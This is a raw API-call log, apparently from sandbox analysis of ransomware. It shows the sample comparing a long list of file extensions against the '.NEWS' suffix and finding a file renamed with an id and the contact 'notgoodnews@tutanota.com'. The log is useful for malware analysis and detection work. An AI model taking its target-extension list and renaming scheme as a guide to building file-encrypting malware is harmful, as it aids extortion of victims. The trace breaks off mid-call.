(lpString1=".ai8", lpString2="NEWS") returned -1 [0157.133] lstrlenW (lpString=".anim") returned 5 [0157.133] lstrcmpiW (lpString1=".anim", lpString2=".NEWS") returned -1 [0157.133] lstrlenW (lpString=".arw") returned 4 [0157.133] lstrcmpiW (lpString1=".arw", lpString2="NEWS") returned -1 [0157.133] lstrlenW (lpString=".as") returned 3 [0157.133] lstrcmpiW (lpString1=".as", lpString2="EWS") returned -1 [0157.133] lstrlenW (lpString=".asa") returned 4 [0157.133] lstrcmpiW (lpString1=".asa", lpString2="NEWS") returned -1 [0157.133] lstrlenW (lpString=".asc") returned 4 [0157.133] lstrcmpiW (lpString1=".asc", lpString2="NEWS") returned -1 [0157.133] lstrlenW (lpString=".ascx") returned 5 [0157.133] lstrcmpiW (lpString1=".ascx", lpString2=".NEWS") returned -1 [0157.133] lstrlenW (lpString=".asm") returned 4 [0157.133] lstrcmpiW (lpString1=".asm", lpString2="NEWS") returned -1 [0157.133] lstrlenW (lpString=".asmx") returned 5 [0157.133] lstrcmpiW (lpString1=".asmx", lpString2=".NEWS") returned -1 [0157.133] lstrlenW (lpString=".asp") returned 4 [0157.133] lstrcmpiW (lpString1=".asp", lpString2="NEWS") returned -1 [0157.133] lstrlenW (lpString=".aspx") returned 5 [0157.133] lstrcmpiW (lpString1=".aspx", lpString2=".NEWS") returned -1 [0157.133] lstrlenW (lpString=".asr") returned 4 [0157.133] lstrcmpiW (lpString1=".asr", lpString2="NEWS") returned -1 [0157.133] lstrlenW (lpString=".asx") returned 4 [0157.133] lstrcmpiW (lpString1=".asx", lpString2="NEWS") returned -1 [0157.133] lstrlenW (lpString=".avi") returned 4 [0157.133] lstrcmpiW (lpString1=".avi", lpString2="NEWS") returned -1 [0157.133] lstrlenW (lpString=".avs") returned 4 [0157.133] lstrcmpiW (lpString1=".avs", lpString2="NEWS") returned -1 [0157.133] lstrlenW (lpString=".backup") returned 7 [0157.133] lstrcmpiW (lpString1=".backup", lpString2="m].NEWS") returned -1 [0157.133] lstrlenW (lpString=".bak") returned 4 [0157.133] lstrcmpiW (lpString1=".bak", lpString2="NEWS") returned -1 [0157.133] lstrlenW (lpString=".bay") returned 4 [0157.133] lstrcmpiW (lpString1=".bay", lpString2="NEWS") returned -1 [0157.133] lstrlenW (lpString=".bd") returned 3 [0157.134] lstrcmpiW (lpString1=".bd", lpString2="EWS") returned -1 [0157.134] lstrlenW (lpString=".bin") returned 4 [0157.134] lstrcmpiW (lpString1=".bin", lpString2="NEWS") returned -1 [0157.134] lstrlenW (lpString=".bmp") returned 4 [0157.134] lstrcmpiW (lpString1=".bmp", lpString2="NEWS") returned -1 [0157.134] lstrlenW (lpString=".bz2") returned 4 [0157.134] lstrcmpiW (lpString1=".bz2", lpString2="NEWS") returned -1 [0157.134] lstrlenW (lpString=".c") returned 2 [0157.134] lstrcmpiW (lpString1=".c", lpString2="WS") returned -1 [0157.134] lstrlenW (lpString=".cdr") returned 4 [0157.134] lstrcmpiW (lpString1=".cdr", lpString2="NEWS") returned -1 [0157.134] lstrlenW (lpString=".cer") returned 4 [0157.134] lstrcmpiW (lpString1=".cer", lpString2="NEWS") returned -1 [0157.134] lstrlenW (lpString=".cf") returned 3 [0157.134] lstrcmpiW (lpString1=".cf", lpString2="EWS") returned -1 [0157.134] lstrlenW (lpString=".cfc") returned 4 [0157.134] lstrcmpiW (lpString1=".cfc", lpString2="NEWS") returned -1 [0157.134] lstrlenW (lpString=".cfm") returned 4 [0157.134] lstrcmpiW (lpString1=".cfm", lpString2="NEWS") returned -1 [0157.134] lstrlenW (lpString=".cfml") returned 5 [0157.134] lstrcmpiW (lpString1=".cfml", lpString2=".NEWS") returned -1 [0157.134] lstrlenW (lpString=".cfu") returned 4 [0157.134] lstrcmpiW (lpString1=".cfu", lpString2="NEWS") returned -1 [0157.134] lstrlenW (lpString=".chm") returned 4 [0157.134] lstrcmpiW (lpString1=".chm", lpString2="NEWS") returned -1 [0157.134] lstrlenW (lpString=".cin") returned 4 [0157.134] lstrcmpiW (lpString1=".cin", lpString2="NEWS") returned -1 [0157.134] lstrlenW (lpString=".class") returned 6 [0157.134] lstrcmpiW (lpString1=".class", lpString2="].NEWS") returned -1 [0157.134] lstrlenW (lpString=".clx") returned 4 [0157.134] lstrcmpiW (lpString1=".clx", lpString2="NEWS") returned -1 [0157.134] lstrlenW (lpString=".config") returned 7 [0157.134] lstrcmpiW (lpString1=".config", lpString2="m].NEWS") returned -1 [0157.134] lstrlenW (lpString=".cpp") returned 4 [0157.134] lstrcmpiW (lpString1=".cpp", lpString2="NEWS") returned -1 [0157.134] lstrlenW (lpString=".cr2") returned 4 [0157.134] lstrcmpiW (lpString1=".cr2", lpString2="NEWS") returned -1 [0157.135] lstrlenW (lpString=".crt") returned 4 [0157.135] lstrcmpiW (lpString1=".crt", lpString2="NEWS") returned -1 [0157.135] lstrlenW (lpString=".crw") returned 4 [0157.135] lstrcmpiW (lpString1=".crw", lpString2="NEWS") returned -1 [0157.135] lstrlenW (lpString=".cs") returned 3 [0157.135] lstrcmpiW (lpString1=".cs", lpString2="EWS") returned -1 [0157.135] lstrlenW (lpString=".css") returned 4 [0157.135] lstrcmpiW (lpString1=".css", lpString2="NEWS") returned -1 [0157.135] lstrlenW (lpString=".csv") returned 4 [0157.135] lstrcmpiW (lpString1=".csv", lpString2="NEWS") returned -1 [0157.135] lstrlenW (lpString=".cub") returned 4 [0157.135] lstrcmpiW (lpString1=".cub", lpString2="NEWS") returned -1 [0157.135] lstrlenW (lpString=".dae") returned 4 [0157.135] lstrcmpiW (lpString1=".dae", lpString2="NEWS") returned -1 [0157.135] lstrlenW (lpString=".dat") returned 4 [0157.135] lstrcmpiW (lpString1=".dat", lpString2="NEWS") returned -1 [0157.135] lstrlenW (lpString=".db") returned 3 [0157.135] lstrcmpiW (lpString1=".db", lpString2="EWS") returned -1 [0157.135] lstrlenW (lpString=".dbf") returned 4 [0157.135] lstrcmpiW (lpString1=".dbf", lpString2="NEWS") returned -1 [0157.135] lstrlenW (lpString=".dbx") returned 4 [0157.135] lstrcmpiW (lpString1=".dbx", lpString2="NEWS") returned -1 [0157.135] lstrlenW (lpString=".dc3") returned 4 [0157.135] lstrcmpiW (lpString1=".dc3", lpString2="NEWS") returned -1 [0157.135] lstrlenW (lpString=".dcm") returned 4 [0157.135] lstrcmpiW (lpString1=".dcm", lpString2="NEWS") returned -1 [0157.135] lstrlenW (lpString=".dcr") returned 4 [0157.135] lstrcmpiW (lpString1=".dcr", lpString2="NEWS") returned -1 [0157.135] lstrlenW (lpString=".der") returned 4 [0157.135] lstrcmpiW (lpString1=".der", lpString2="NEWS") returned -1 [0157.135] lstrlenW (lpString=".dib") returned 4 [0157.135] lstrcmpiW (lpString1=".dib", lpString2="NEWS") returned -1 [0157.135] lstrlenW (lpString=".dic") returned 4 [0157.135] lstrcmpiW (lpString1=".dic", lpString2="NEWS") returned -1 [0157.135] lstrlenW (lpString=".dif") returned 4 [0157.135] lstrcmpiW (lpString1=".dif", lpString2="NEWS") returned -1 [0157.136] lstrlenW (lpString=".divx") returned 5 [0157.136] lstrcmpiW (lpString1=".divx", lpString2=".NEWS") returned -1 [0157.136] lstrlenW (lpString=".djvu") returned 5 [0157.136] lstrcmpiW (lpString1=".djvu", lpString2=".NEWS") returned -1 [0157.136] lstrlenW (lpString=".dng") returned 4 [0157.136] lstrcmpiW (lpString1=".dng", lpString2="NEWS") returned -1 [0157.136] lstrlenW (lpString=".doc") returned 4 [0157.136] lstrcmpiW (lpString1=".doc", lpString2="NEWS") returned -1 [0157.136] lstrlenW (lpString=".docm") returned 5 [0157.136] lstrcmpiW (lpString1=".docm", lpString2=".NEWS") returned -1 [0157.136] lstrlenW (lpString=".docx") returned 5 [0157.136] lstrcmpiW (lpString1=".docx", lpString2=".NEWS") returned -1 [0157.136] lstrlenW (lpString=".dot") returned 4 [0157.136] lstrcmpiW (lpString1=".dot", lpString2="NEWS") returned -1 [0157.136] lstrlenW (lpString=".dotm") returned 5 [0157.136] lstrcmpiW (lpString1=".dotm", lpString2=".NEWS") returned -1 [0157.136] lstrlenW (lpString=".dotx") returned 5 [0157.136] lstrcmpiW (lpString1=".dotx", lpString2=".NEWS") returned -1 [0157.136] lstrlenW (lpString=".dpx") returned 4 [0157.136] lstrcmpiW (lpString1=".dpx", lpString2="NEWS") returned -1 [0157.136] lstrlenW (lpString=".dqy") returned 4 [0157.136] lstrcmpiW (lpString1=".dqy", lpString2="NEWS") returned -1 [0157.136] lstrlenW (lpString=".dsn") returned 4 [0157.136] lstrcmpiW (lpString1=".dsn", lpString2="NEWS") returned -1 [0157.136] lstrlenW (lpString=".dt") returned 3 [0157.136] lstrcmpiW (lpString1=".dt", lpString2="EWS") returned -1 [0157.136] lstrlenW (lpString=".dtd") returned 4 [0157.136] lstrcmpiW (lpString1=".dtd", lpString2="NEWS") returned -1 [0157.136] lstrlenW (lpString=".dwg") returned 4 [0157.136] lstrcmpiW (lpString1=".dwg", lpString2="NEWS") returned -1 [0157.136] lstrlenW (lpString=".dwt") returned 4 [0157.136] lstrcmpiW (lpString1=".dwt", lpString2="NEWS") returned -1 [0157.136] lstrlenW (lpString=".dx") returned 3 [0157.136] lstrcmpiW (lpString1=".dx", lpString2="EWS") returned -1 [0157.136] lstrlenW (lpString=".dxf") returned 4 [0157.136] lstrcmpiW (lpString1=".dxf", lpString2="NEWS") returned -1 [0157.137] lstrlenW (lpString=".edml") returned 5 [0157.137] lstrcmpiW (lpString1=".edml", lpString2=".NEWS") returned -1 [0157.137] lstrlenW (lpString=".efd") returned 4 [0157.137] lstrcmpiW (lpString1=".efd", lpString2="NEWS") returned -1 [0157.137] lstrlenW (lpString=".elf") returned 4 [0157.137] lstrcmpiW (lpString1=".elf", lpString2="NEWS") returned -1 [0157.137] lstrlenW (lpString=".emf") returned 4 [0157.137] lstrcmpiW (lpString1=".emf", lpString2="NEWS") returned -1 [0157.137] lstrlenW (lpString=".emz") returned 4 [0157.137] lstrcmpiW (lpString1=".emz", lpString2="NEWS") returned -1 [0157.137] lstrlenW (lpString=".epf") returned 4 [0157.137] lstrcmpiW (lpString1=".epf", lpString2="NEWS") returned -1 [0157.137] lstrlenW (lpString=".eps") returned 4 [0157.137] lstrcmpiW (lpString1=".eps", lpString2="NEWS") returned -1 [0157.137] lstrlenW (lpString=".epsf") returned 5 [0157.137] lstrcmpiW (lpString1=".epsf", lpString2=".NEWS") returned -1 [0157.137] lstrlenW (lpString=".epsp") returned 5 [0157.137] lstrcmpiW (lpString1=".epsp", lpString2=".NEWS") returned -1 [0157.137] lstrlenW (lpString=".erf") returned 4 [0157.137] lstrcmpiW (lpString1=".erf", lpString2="NEWS") returned -1 [0157.137] lstrlenW (lpString=".exr") returned 4 [0157.137] lstrcmpiW (lpString1=".exr", lpString2="NEWS") returned -1 [0157.137] lstrlenW (lpString=".f4v") returned 4 [0157.137] lstrcmpiW (lpString1=".f4v", lpString2="NEWS") returned -1 [0157.137] lstrlenW (lpString=".fido") returned 5 [0157.137] lstrcmpiW (lpString1=".fido", lpString2=".NEWS") returned -1 [0157.137] lstrlenW (lpString=".flm") returned 4 [0157.137] lstrcmpiW (lpString1=".flm", lpString2="NEWS") returned -1 [0157.137] lstrlenW (lpString=".flv") returned 4 [0157.137] lstrcmpiW (lpString1=".flv", lpString2="NEWS") returned -1 [0157.137] lstrlenW (lpString=".frm") returned 4 [0157.137] lstrcmpiW (lpString1=".frm", lpString2="NEWS") returned -1 [0157.137] lstrlenW (lpString=".fxg") returned 4 [0157.137] lstrcmpiW (lpString1=".fxg", lpString2="NEWS") returned -1 [0157.137] lstrlenW (lpString=".geo") returned 4 [0157.137] lstrcmpiW (lpString1=".geo", lpString2="NEWS") returned -1 [0157.137] lstrlenW (lpString=".gif") returned 4 [0157.137] lstrcmpiW (lpString1=".gif", lpString2="NEWS") returned -1 [0157.138] lstrlenW (lpString=".grs") returned 4 [0157.138] lstrcmpiW (lpString1=".grs", lpString2="NEWS") returned -1 [0157.138] lstrlenW (lpString=".gz") returned 3 [0157.138] lstrcmpiW (lpString1=".gz", lpString2="EWS") returned -1 [0157.138] lstrlenW (lpString=".h") returned 2 [0157.138] lstrcmpiW (lpString1=".h", lpString2="WS") returned -1 [0157.138] lstrlenW (lpString=".hdr") returned 4 [0157.138] lstrcmpiW (lpString1=".hdr", lpString2="NEWS") returned -1 [0157.138] lstrlenW (lpString=".hpp") returned 4 [0157.138] lstrcmpiW (lpString1=".hpp", lpString2="NEWS") returned -1 [0157.138] lstrlenW (lpString=".hta") returned 4 [0157.138] lstrcmpiW (lpString1=".hta", lpString2="NEWS") returned -1 [0157.138] lstrlenW (lpString=".htc") returned 4 [0157.138] lstrcmpiW (lpString1=".htc", lpString2="NEWS") returned -1 [0157.138] lstrlenW (lpString=".htm") returned 4 [0157.138] lstrcmpiW (lpString1=".htm", lpString2="NEWS") returned -1 [0157.138] lstrlenW (lpString=".html") returned 5 [0157.138] lstrcmpiW (lpString1=".html", lpString2=".NEWS") returned -1 [0157.138] lstrlenW (lpString=".icb") returned 4 [0157.138] lstrcmpiW (lpString1=".icb", lpString2="NEWS") returned -1 [0157.138] lstrlenW (lpString=".ics") returned 4 [0157.138] lstrcmpiW (lpString1=".ics", lpString2="NEWS") returned -1 [0157.138] lstrlenW (lpString=".iff") returned 4 [0157.138] lstrcmpiW (lpString1=".iff", lpString2="NEWS") returned -1 [0157.138] lstrlenW (lpString=".inc") returned 4 [0157.138] lstrcmpiW (lpString1=".inc", lpString2="NEWS") returned -1 [0157.138] lstrlenW (lpString=".indd") returned 5 [0157.138] lstrcmpiW (lpString1=".indd", lpString2=".NEWS") returned -1 [0157.138] lstrlenW (lpString=".ini") returned 4 [0157.138] lstrcmpiW (lpString1=".ini", lpString2="NEWS") returned -1 [0157.138] lstrlenW (lpString=".iqy") returned 4 [0157.138] lstrcmpiW (lpString1=".iqy", lpString2="NEWS") returned -1 [0157.138] lstrlenW (lpString=".j2c") returned 4 [0157.138] lstrcmpiW (lpString1=".j2c", lpString2="NEWS") returned -1 [0157.138] lstrlenW (lpString=".j2k") returned 4 [0157.138] lstrcmpiW (lpString1=".j2k", lpString2="NEWS") returned -1 [0157.138] lstrlenW (lpString=".java") returned 5 [0157.139] lstrcmpiW (lpString1=".java", lpString2=".NEWS") returned -1 [0157.139] lstrlenW (lpString=".jp2") returned 4 [0157.139] lstrcmpiW (lpString1=".jp2", lpString2="NEWS") returned -1 [0157.139] lstrlenW (lpString=".jpc") returned 4 [0157.139] lstrcmpiW (lpString1=".jpc", lpString2="NEWS") returned -1 [0157.139] lstrlenW (lpString=".jpe") returned 4 [0157.139] lstrcmpiW (lpString1=".jpe", lpString2="NEWS") returned -1 [0157.139] lstrlenW (lpString=".jpeg") returned 5 [0157.139] lstrcmpiW (lpString1=".jpeg", lpString2=".NEWS") returned -1 [0157.139] lstrlenW (lpString=".jpf") returned 4 [0157.139] lstrcmpiW (lpString1=".jpf", lpString2="NEWS") returned -1 [0157.139] lstrlenW (lpString=".jpg") returned 4 [0157.139] lstrcmpiW (lpString1=".jpg", lpString2="NEWS") returned -1 [0157.139] lstrlenW (lpString=".jpx") returned 4 [0157.139] lstrcmpiW (lpString1=".jpx", lpString2="NEWS") returned -1 [0157.139] lstrlenW (lpString=".js") returned 3 [0157.139] lstrcmpiW (lpString1=".js", lpString2="EWS") returned -1 [0157.139] lstrlenW (lpString=".jsf") returned 4 [0157.139] lstrcmpiW (lpString1=".jsf", lpString2="NEWS") returned -1 [0157.139] lstrlenW (lpString=".json") returned 5 [0157.139] lstrcmpiW (lpString1=".json", lpString2=".NEWS") returned -1 [0157.139] lstrlenW (lpString=".jsp") returned 4 [0157.139] lstrcmpiW (lpString1=".jsp", lpString2="NEWS") returned -1 [0157.139] lstrlenW (lpString=".kdc") returned 4 [0157.139] lstrcmpiW (lpString1=".kdc", lpString2="NEWS") returned -1 [0157.139] lstrlenW (lpString=".kmz") returned 4 [0157.139] lstrcmpiW (lpString1=".kmz", lpString2="NEWS") returned -1 [0157.139] lstrlenW (lpString=".kwm") returned 4 [0157.139] lstrcmpiW (lpString1=".kwm", lpString2="NEWS") returned -1 [0157.139] lstrlenW (lpString=".lasso") returned 6 [0157.139] lstrcmpiW (lpString1=".lasso", lpString2="].NEWS") returned -1 [0157.139] lstrlenW (lpString=".lbi") returned 4 [0157.139] lstrcmpiW (lpString1=".lbi", lpString2="NEWS") returned -1 [0157.139] lstrlenW (lpString=".lgf") returned 4 [0157.139] lstrcmpiW (lpString1=".lgf", lpString2="NEWS") returned -1 [0157.139] lstrlenW (lpString=".lgp") returned 4 [0157.139] lstrcmpiW (lpString1=".lgp", lpString2="NEWS") returned -1 [0157.140] lstrlenW (lpString=".log") returned 4 [0157.140] lstrcmpiW (lpString1=".log", lpString2="NEWS") returned -1 [0157.140] lstrlenW (lpString=".m1v") returned 4 [0157.140] lstrcmpiW (lpString1=".m1v", lpString2="NEWS") returned -1 [0157.140] lstrlenW (lpString=".m4a") returned 4 [0157.140] lstrcmpiW (lpString1=".m4a", lpString2="NEWS") returned -1 [0157.140] lstrlenW (lpString=".m4v") returned 4 [0157.140] lstrcmpiW (lpString1=".m4v", lpString2="NEWS") returned -1 [0157.140] lstrlenW (lpString=".max") returned 4 [0157.140] lstrcmpiW (lpString1=".max", lpString2="NEWS") returned -1 [0157.140] lstrlenW (lpString=".md") returned 3 [0157.140] lstrcmpiW (lpString1=".md", lpString2="EWS") returned -1 [0157.140] lstrlenW (lpString=".mda") returned 4 [0157.140] lstrcmpiW (lpString1=".mda", lpString2="NEWS") returned -1 [0157.140] lstrlenW (lpString=".mdb") returned 4 [0157.140] lstrcmpiW (lpString1=".mdb", lpString2="NEWS") returned -1 [0157.140] lstrlenW (lpString=".mde") returned 4 [0157.140] lstrcmpiW (lpString1=".mde", lpString2="NEWS") returned -1 [0157.140] lstrlenW (lpString=".mdf") returned 4 [0157.140] lstrcmpiW (lpString1=".mdf", lpString2="NEWS") returned -1 [0157.140] lstrlenW (lpString=".mdw") returned 4 [0157.140] lstrcmpiW (lpString1=".mdw", lpString2="NEWS") returned -1 [0157.140] lstrlenW (lpString=".mef") returned 4 [0157.140] lstrcmpiW (lpString1=".mef", lpString2="NEWS") returned -1 [0157.140] lstrlenW (lpString=".mft") returned 4 [0157.140] lstrcmpiW (lpString1=".mft", lpString2="NEWS") returned -1 [0157.140] lstrlenW (lpString=".mfw") returned 4 [0157.140] lstrcmpiW (lpString1=".mfw", lpString2="NEWS") returned -1 [0157.140] lstrlenW (lpString=".mht") returned 4 [0157.140] lstrcmpiW (lpString1=".mht", lpString2="NEWS") returned -1 [0157.140] lstrlenW (lpString=".mhtml") returned 6 [0157.140] lstrcmpiW (lpString1=".mhtml", lpString2="].NEWS") returned -1 [0157.140] lstrlenW (lpString=".mka") returned 4 [0157.140] lstrcmpiW (lpString1=".mka", lpString2="NEWS") returned -1 [0157.140] lstrlenW (lpString=".mkidx") returned 6 [0157.140] lstrcmpiW (lpString1=".mkidx", lpString2="].NEWS") returned -1 [0157.141] lstrlenW (lpString=".mkv") returned 4 [0157.141] lstrcmpiW (lpString1=".mkv", lpString2="NEWS") returned -1 [0157.141] lstrlenW (lpString=".mos") returned 4 [0157.141] lstrcmpiW (lpString1=".mos", lpString2="NEWS") returned -1 [0157.141] lstrlenW (lpString=".mov") returned 4 [0157.141] lstrcmpiW (lpString1=".mov", lpString2="NEWS") returned -1 [0157.141] lstrlenW (lpString=".mp3") returned 4 [0157.141] lstrcmpiW (lpString1=".mp3", lpString2="NEWS") returned -1 [0157.141] lstrlenW (lpString=".mp4") returned 4 [0157.141] lstrcmpiW (lpString1=".mp4", lpString2="NEWS") returned -1 [0157.141] lstrlenW (lpString=".mpeg") returned 5 [0157.141] lstrcmpiW (lpString1=".mpeg", lpString2=".NEWS") returned -1 [0157.141] lstrlenW (lpString=".mpg") returned 4 [0157.141] lstrcmpiW (lpString1=".mpg", lpString2="NEWS") returned -1 [0157.141] lstrlenW (lpString=".mpv") returned 4 [0157.141] lstrcmpiW (lpString1=".mpv", lpString2="NEWS") returned -1 [0157.141] lstrlenW (lpString=".mrw") returned 4 [0157.141] lstrcmpiW (lpString1=".mrw", lpString2="NEWS") returned -1 [0157.141] lstrlenW (lpString=".msg") returned 4 [0157.141] lstrcmpiW (lpString1=".msg", lpString2="NEWS") returned -1 [0157.141] lstrlenW (lpString=".mxl") returned 4 [0157.141] lstrcmpiW (lpString1=".mxl", lpString2="NEWS") returned -1 [0157.141] lstrlenW (lpString=".myd") returned 4 [0157.141] lstrcmpiW (lpString1=".myd", lpString2="NEWS") returned -1 [0157.141] lstrlenW (lpString=".myi") returned 4 [0157.141] lstrcmpiW (lpString1=".myi", lpString2="NEWS") returned -1 [0157.141] lstrlenW (lpString=".nef") returned 4 [0157.141] lstrcmpiW (lpString1=".nef", lpString2="NEWS") returned -1 [0157.141] lstrlenW (lpString=".nrw") returned 4 [0157.141] lstrcmpiW (lpString1=".nrw", lpString2="NEWS") returned -1 [0157.141] lstrlenW (lpString=".obj") returned 4 [0157.141] lstrcmpiW (lpString1=".obj", lpString2="NEWS") returned -1 [0157.141] lstrlenW (lpString=".odb") returned 4 [0157.141] lstrcmpiW (lpString1=".odb", lpString2="NEWS") returned -1 [0157.141] lstrlenW (lpString=".odc") returned 4 [0157.141] lstrcmpiW (lpString1=".odc", lpString2="NEWS") returned -1 [0157.141] lstrlenW (lpString=".odm") returned 4 [0157.142] lstrcmpiW (lpString1=".odm", lpString2="NEWS") returned -1 [0157.142] lstrlenW (lpString=".odp") returned 4 [0157.142] lstrcmpiW (lpString1=".odp", lpString2="NEWS") returned -1 [0157.142] lstrlenW (lpString=".ods") returned 4 [0157.142] lstrcmpiW (lpString1=".ods", lpString2="NEWS") returned -1 [0157.142] lstrlenW (lpString=".oft") returned 4 [0157.142] lstrcmpiW (lpString1=".oft", lpString2="NEWS") returned -1 [0157.142] lstrlenW (lpString=".one") returned 4 [0157.142] lstrcmpiW (lpString1=".one", lpString2="NEWS") returned -1 [0157.142] lstrlenW (lpString=".onepkg") returned 7 [0157.142] lstrcmpiW (lpString1=".onepkg", lpString2="m].NEWS") returned -1 [0157.142] lstrlenW (lpString=".onetoc2") returned 8 [0157.142] lstrcmpiW (lpString1=".onetoc2", lpString2="om].NEWS") returned -1 [0157.142] lstrlenW (lpString=".opt") returned 4 [0157.142] lstrcmpiW (lpString1=".opt", lpString2="NEWS") returned -1 [0157.142] lstrlenW (lpString=".oqy") returned 4 [0157.142] lstrcmpiW (lpString1=".oqy", lpString2="NEWS") returned -1 [0157.142] lstrlenW (lpString=".orf") returned 4 [0157.142] lstrcmpiW (lpString1=".orf", lpString2="NEWS") returned -1 [0157.142] lstrlenW (lpString=".p12") returned 4 [0157.142] lstrcmpiW (lpString1=".p12", lpString2="NEWS") returned -1 [0157.142] lstrlenW (lpString=".p7b") returned 4 [0157.142] lstrcmpiW (lpString1=".p7b", lpString2="NEWS") returned -1 [0157.142] lstrlenW (lpString=".p7c") returned 4 [0157.142] lstrcmpiW (lpString1=".p7c", lpString2="NEWS") returned -1 [0157.142] lstrlenW (lpString=".pam") returned 4 [0157.142] lstrcmpiW (lpString1=".pam", lpString2="NEWS") returned -1 [0157.142] lstrlenW (lpString=".pbm") returned 4 [0157.142] lstrcmpiW (lpString1=".pbm", lpString2="NEWS") returned -1 [0157.142] lstrlenW (lpString=".pct") returned 4 [0157.142] lstrcmpiW (lpString1=".pct", lpString2="NEWS") returned -1 [0157.142] lstrlenW (lpString=".pcx") returned 4 [0157.142] lstrcmpiW (lpString1=".pcx", lpString2="NEWS") returned -1 [0157.142] lstrlenW (lpString=".pdd") returned 4 [0157.142] lstrcmpiW (lpString1=".pdd", lpString2="NEWS") returned -1 [0157.142] lstrlenW (lpString=".pdf") returned 4 [0157.142] lstrcmpiW (lpString1=".pdf", lpString2="NEWS") returned -1 [0157.143] lstrlenW (lpString=".pdp") returned 4 [0157.143] lstrcmpiW (lpString1=".pdp", lpString2="NEWS") returned -1 [0157.143] lstrlenW (lpString=".pef") returned 4 [0157.143] lstrcmpiW (lpString1=".pef", lpString2="NEWS") returned -1 [0157.143] lstrlenW (lpString=".pem") returned 4 [0157.143] lstrcmpiW (lpString1=".pem", lpString2="NEWS") returned -1 [0157.143] lstrlenW (lpString=".pff") returned 4 [0157.143] lstrcmpiW (lpString1=".pff", lpString2="NEWS") returned -1 [0157.143] lstrlenW (lpString=".pfm") returned 4 [0157.143] lstrcmpiW (lpString1=".pfm", lpString2="NEWS") returned -1 [0157.143] lstrlenW (lpString=".pfx") returned 4 [0157.143] lstrcmpiW (lpString1=".pfx", lpString2="NEWS") returned -1 [0157.143] lstrlenW (lpString=".pgm") returned 4 [0157.143] lstrcmpiW (lpString1=".pgm", lpString2="NEWS") returned -1 [0157.143] lstrlenW (lpString=".php") returned 4 [0157.143] lstrcmpiW (lpString1=".php", lpString2="NEWS") returned -1 [0157.143] lstrlenW (lpString=".php3") returned 5 [0157.143] lstrcmpiW (lpString1=".php3", lpString2=".NEWS") returned 1 [0157.143] lstrlenW (lpString=".php4") returned 5 [0157.143] lstrcmpiW (lpString1=".php4", lpString2=".NEWS") returned 1 [0157.143] lstrlenW (lpString=".php5") returned 5 [0157.143] lstrcmpiW (lpString1=".php5", lpString2=".NEWS") returned 1 [0157.143] lstrlenW (lpString=".phtml") returned 6 [0157.143] lstrcmpiW (lpString1=".phtml", lpString2="].NEWS") returned -1 [0157.143] lstrlenW (lpString=".pict") returned 5 [0157.143] lstrcmpiW (lpString1=".pict", lpString2=".NEWS") returned 1 [0157.143] lstrlenW (lpString=".pl") returned 3 [0157.143] lstrcmpiW (lpString1=".pl", lpString2="EWS") returned -1 [0157.143] lstrlenW (lpString=".pls") returned 4 [0157.143] lstrcmpiW (lpString1=".pls", lpString2="NEWS") returned -1 [0157.143] lstrlenW (lpString=".pm") returned 3 [0157.143] lstrcmpiW (lpString1=".pm", lpString2="EWS") returned -1 [0157.143] lstrlenW (lpString=".png") returned 4 [0157.143] lstrcmpiW (lpString1=".png", lpString2="NEWS") returned -1 [0157.143] lstrlenW (lpString=".pnm") returned 4 [0157.143] lstrcmpiW (lpString1=".pnm", lpString2="NEWS") returned -1 [0157.143] lstrlenW (lpString=".pot") returned 4 [0157.144] lstrcmpiW (lpString1=".pot", lpString2="NEWS") returned -1 [0157.144] lstrlenW (lpString=".potm") returned 5 [0157.144] lstrcmpiW (lpString1=".potm", lpString2=".NEWS") returned 1 [0157.144] lstrlenW (lpString=".potx") returned 5 [0157.144] lstrcmpiW (lpString1=".potx", lpString2=".NEWS") returned 1 [0157.144] lstrlenW (lpString=".ppa") returned 4 [0157.144] lstrcmpiW (lpString1=".ppa", lpString2="NEWS") returned -1 [0157.144] lstrlenW (lpString=".ppam") returned 5 [0157.144] lstrcmpiW (lpString1=".ppam", lpString2=".NEWS") returned 1 [0157.144] lstrlenW (lpString=".ppm") returned 4 [0157.144] lstrcmpiW (lpString1=".ppm", lpString2="NEWS") returned -1 [0157.144] lstrlenW (lpString=".pps") returned 4 [0157.144] lstrcmpiW (lpString1=".pps", lpString2="NEWS") returned -1 [0157.144] lstrlenW (lpString=".ppsm") returned 5 [0157.144] lstrcmpiW (lpString1=".ppsm", lpString2=".NEWS") returned 1 [0157.144] lstrlenW (lpString=".ppt") returned 4 [0157.144] lstrcmpiW (lpString1=".ppt", lpString2="NEWS") returned -1 [0157.144] lstrlenW (lpString=".pptm") returned 5 [0157.144] lstrcmpiW (lpString1=".pptm", lpString2=".NEWS") returned 1 [0157.144] lstrlenW (lpString=".pptx") returned 5 [0157.144] lstrcmpiW (lpString1=".pptx", lpString2=".NEWS") returned 1 [0157.144] lstrlenW (lpString=".prn") returned 4 [0157.144] lstrcmpiW (lpString1=".prn", lpString2="NEWS") returned -1 [0157.144] lstrlenW (lpString=".ps") returned 3 [0157.144] lstrcmpiW (lpString1=".ps", lpString2="EWS") returned -1 [0157.144] lstrlenW (lpString=".psb") returned 4 [0157.144] lstrcmpiW (lpString1=".psb", lpString2="NEWS") returned -1 [0157.144] lstrlenW (lpString=".psd") returned 4 [0157.144] lstrcmpiW (lpString1=".psd", lpString2="NEWS") returned -1 [0157.144] lstrlenW (lpString=".pst") returned 4 [0157.144] lstrcmpiW (lpString1=".pst", lpString2="NEWS") returned -1 [0157.144] lstrlenW (lpString=".ptx") returned 4 [0157.144] lstrcmpiW (lpString1=".ptx", lpString2="NEWS") returned -1 [0157.144] lstrlenW (lpString=".pub") returned 4 [0157.144] lstrcmpiW (lpString1=".pub", lpString2="NEWS") returned -1 [0157.144] lstrlenW (lpString=".pwm") returned 4 [0157.144] lstrcmpiW (lpString1=".pwm", lpString2="NEWS") returned -1 [0157.144] lstrlenW (lpString=".pxr") returned 4 [0157.145] lstrcmpiW (lpString1=".pxr", lpString2="NEWS") returned -1 [0157.145] FindNextFileW (in: hFindFile=0x484658, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x37c4e97b, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37c4e97b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37c74c3b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x122e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.145] FindNextFileW (in: hFindFile=0x484658, lpFindFileData=0x371f800 | out: 